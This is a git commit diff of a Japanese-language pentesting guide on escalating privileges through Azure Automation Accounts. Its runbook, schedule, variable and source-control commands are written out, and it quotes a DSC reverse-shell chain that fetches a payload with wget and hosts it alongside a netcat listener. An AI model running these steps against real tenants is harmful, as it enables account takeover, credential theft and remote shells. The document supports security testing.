Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-01-10 13:19:37 +00:00
parent 15eb02904a
commit bdc1c207a3
2 changed files with 78 additions and 32 deletions

View File

@@ -10,11 +10,20 @@
../az-services/az-automation-accounts.md
{{#endref}}
### Hybrid Workers
攻撃者がハイブリッドワーカーで任意のランブック(任意のコード)を実行できる場合、彼は**VMの場所にピボットします**。これは、オンプレミスのマシン、別のクラウドのVPC、またはAzure VMである可能性があります。
さらに、ハイブリッドワーカーがAzureで他のマネージドアイデンティティと共に実行されている場合、ランブックは**ランブックのマネージドアイデンティティとVMのメタデータサービスからのすべてのマネージドアイデンティティにアクセスできる**ようになります。
> [!TIP]
> **メタデータサービス**は、オートメーションアカウントのマネージドアイデンティティトークンを取得するサービスとは異なるURL**`http://169.254.169.254`**)を持っていることを忘れないでください(**`IDENTITY_ENDPOINT`**)。
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
要約すると、これらの権限は**Automation Account内でRunbookを作成、変更、実行する**ことを可能にし、**Automation Accountのコンテキストでコードを実行し、割り当てられた**Managed Identities**特権を昇格させ、Automation Accountに保存された**credentials**や**encrypted variables**を漏洩させることができます。
要約すると、これらの権限は**オートメーションアカウント内でランブックを作成、変更、実行する**ことを可能にし、これを使用して**オートメーションアカウントのコンテキストでコードを実行し、割り当てられた**マネージドアイデンティティ**特権を昇格させ、オートメーションアカウントに保存された**資格情報**や**暗号化された変数**を漏洩させることができます。
権限**`Microsoft.Automation/automationAccounts/runbooks/draft/write`**は、Automation Account内のRunbookのコードを次の方法で変更することを許可します:
権限**`Microsoft.Automation/automationAccounts/runbooks/draft/write`**は、オートメーションアカウント内のランブックのコードを次のように変更することを許可します:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -38,14 +47,18 @@ az automation runbook publish \
```
権限 **`Microsoft.Automation/automationAccounts/jobs/write`** は、ユーザーが次の方法でAutomation Account内でRunbookを実行することを許可します
```bash
az automation runbook start --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name>
az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
```
権限 **`Microsoft.Automation/automationAccounts/jobs/output/read`** は、ユーザーが次の方法でAutomation Account内のジョブの出力を読み取ることを許可します
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
Runbookが作成されていない場合、または新しいものを作成したい場合は、次の操作を行うために**permissions `Microsoft.Resources/subscriptions/resourcegroups/read``Microsoft.Automation/automationAccounts/runbooks/write`**が必要です:
Runbookが作成されていない場合、または新しいものを作成したい場合は、次の操作を行うために**permissions `Microsoft.Resources/subscriptions/resourcegroups/read``Microsoft.Automation/automationAccounts/runbooks/write`**が必要です
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
@@ -69,7 +82,7 @@ az rest --method PATCH \
権限 **`Microsoft.Automation/automationAccounts/schedules/write`** を使用すると、以下のコマンドを使用して、15分ごとに実行される新しいスケジュールをAutomation Accountに作成することができますあまりステルスではありません
スケジュールの**最小間隔は15分**であり、**最小開始時間は5分**先で
スケジュールの**最小間隔は15分**であり、**最小開始時間は5分**先であることに注意してください
```bash
## For linux
az automation schedule create \
@@ -150,6 +163,7 @@ az automation runbook replace-content --no-wait \
--content 'echo "Hello World"'
# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
@@ -180,30 +194,46 @@ az automation source-control create \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
の操作により、GithubリポジトリからAutomation Accountにランブックが自動的にインポートされ、いくつかの他の権限を持ってそれらを実行し始めることができれば、**権限昇格が可能**になります。
により、GithubリポジトリからAutomation Accountにランブックが自動的にインポートされ、いくつかの他の権限を持ってそれらを実行し始めることができれば、**権限昇格が可能**になります。
さらに、Automation Accountsでソースコントロールを機能させるには、**`Contributor`**の役割を持つマネージドアイデンティティが必要であり、ユーザーマネージドアイデンティティの場合は、変数**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**に使用するユーザーマネージドアイデンティティの**クライアントID**を設定することで構成できます。
さらに、Automation Accountsでソース管理が機能するためには、**`Contributor`**の役割を持つマネージドアイデンティティが必要であり、ユーザー管理のアイデンティティの場合は、MIのクライアントIDを変数**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**に指定する必要があります。
> [!TIP]
> 作成後にソースコントロールのリポジトリURLを変更することはできないことに注意してください。
> 作成後にソース管理のリポジトリURLを変更することはできないことに注意してください。
### `Microsoft.Automation/automationAccounts/variables/write`
権限**`Microsoft.Automation/automationAccounts/variables/write`**を使用すると、次のコマンドを使用してAutomation Accountに変数を書き込むことができます。
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'
```
### カスタムランタイム環境
自動化アカウントがカスタムランタイム環境を使用している場合、悪意のあるコード(**バックドア**など)でランタイムのカスタムパッケージを上書きすることが可能です。この方法では、そのカスタムランタイムを使用するランブックが実行され、カスタムパッケージが読み込まれるたびに、悪意のあるコードが実行されます。
自動化アカウントがカスタムランタイム環境を使用している場合、ランタイムのカスタムパッケージを悪意のあるコード(**バックドア**など)で上書きすることが可能です。この方法では、そのカスタムランタイムを使用するランブックが実行され、カスタムパッケージがロードされるたびに、悪意のあるコードが実行されます。
### 状態構成の妥協
**完全な投稿を確認してください:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- ステップ1 — ファイルの作成
- ステップ 1 — ファイルの作成
**必要なファイル:** 2つのPowerShellスクリプトが必要です
1. `reverse_shell_config.ps1`: ペイロードを取得して実行するDesired State Configuration (DSC)ファイル。これは[GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1)から入手可能です。
2. `push_reverse_shell_config.ps1`: VMに構成を公開するためのスクリプトで、[GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)で入手できます。
2. `push_reverse_shell_config.ps1`: 構成をVMに公開するためのスクリプトで、[GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)で入手できます。
**カスタマイズ:** これらのファイルの変数とパラメータは、リソース名、ファイルパス、サーバー/ペイロード識別子を含むユーザーの特定の環境に合わせて調整する必要があります。
**カスタマイズ:** これらのファイルの変数とパラメータは、リソース名、ファイルパス、サーバー/ペイロード識別子を含むユーザーの特定の環境に合わせて調整する必要があります。
- ステップ2 — 構成ファイルを圧縮
- ステップ 2 — 構成ファイルを圧縮
`reverse_shell_config.ps1``.zip`ファイルに圧縮され、Azure Storage Accountへの転送の準備が整います。
```powershell
@@ -229,7 +259,7 @@ wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
- ステップ 6 — ペイロードのホスティングとリスナーの設定
ペイロードをホストするためにPythonのSimpleHTTPServerが起動され、受信接続をキャプチャするためのNetcatリスナーが設定されます。
PythonのSimpleHTTPServerがペイロードをホストするために起動され、Netcatリスナーが着信接続をキャプチャします。
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443